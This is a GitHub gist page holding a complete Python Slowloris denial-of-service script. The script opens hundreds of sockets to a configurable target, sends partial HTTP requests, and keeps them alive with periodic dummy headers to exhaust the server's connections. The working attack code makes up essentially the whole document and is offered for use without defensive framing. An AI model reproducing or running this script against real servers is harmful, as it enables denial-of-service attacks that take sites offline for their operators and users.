Skip to content

Instantly share code, notes, and snippets.

@LevitatingBusinessMan
Created November 7, 2019 14:08
Show Gist options
  • Select an option

  • Save LevitatingBusinessMan/9a1d0e85e6ab4cd1c329edcfd1f68cc7 to your computer and use it in GitHub Desktop.

Select an option

Save LevitatingBusinessMan/9a1d0e85e6ab4cd1c329edcfd1f68cc7 to your computer and use it in GitHub Desktop.
Slow Loris in Python
#! /usr/bin/python
import socket
import time
from threading import Timer
target = "127.0.0.1"
port = 80
maxSockets = 700
ka_timeout = 10
socket_timeout = 2
currentSockets = 0
sockets = []
# Create own class to add attributes
class socket_(socket.socket):
def __init__(self, *args, **kwargs):
super(socket_, self).__init__(*args, **kwargs)
self.lastupdate = time.time()
def create_socket():
global currentSockets
s = socket_(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(socket_timeout)
try:
s.connect((target, port))
# method
s.send("GET / HTTP/1.1\r\n".encode("utf-8"))
# user agent
#s.send("User-Agent: {}".format().encode("utf-8"))
# host
s.send(f"Host: {target}\r\n".encode("utf-8"))
print("Opened socket {}".format(currentSockets + 1))
sockets.append(s)
currentSockets += 1
except:
pass
while currentSockets < maxSockets:
create_socket()
def keepAlive():
global currentSockets
print("Sending new headers with {} sockets".format(currentSockets))
for s in sockets:
try:
s.send("X-a:b\r\n".encode("utf-8"))
s.lastupdate = time.time()
except socket.error:
print("Socket died after {}s".format(round(time.time() - s.lastupdate)))
sockets.remove(s)
currentSockets -= 1
print("Finished sending new headers, open sockets: {}".format(currentSockets))
Timer(ka_timeout, keepAlive).start()
Timer(ka_timeout, keepAlive).start()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment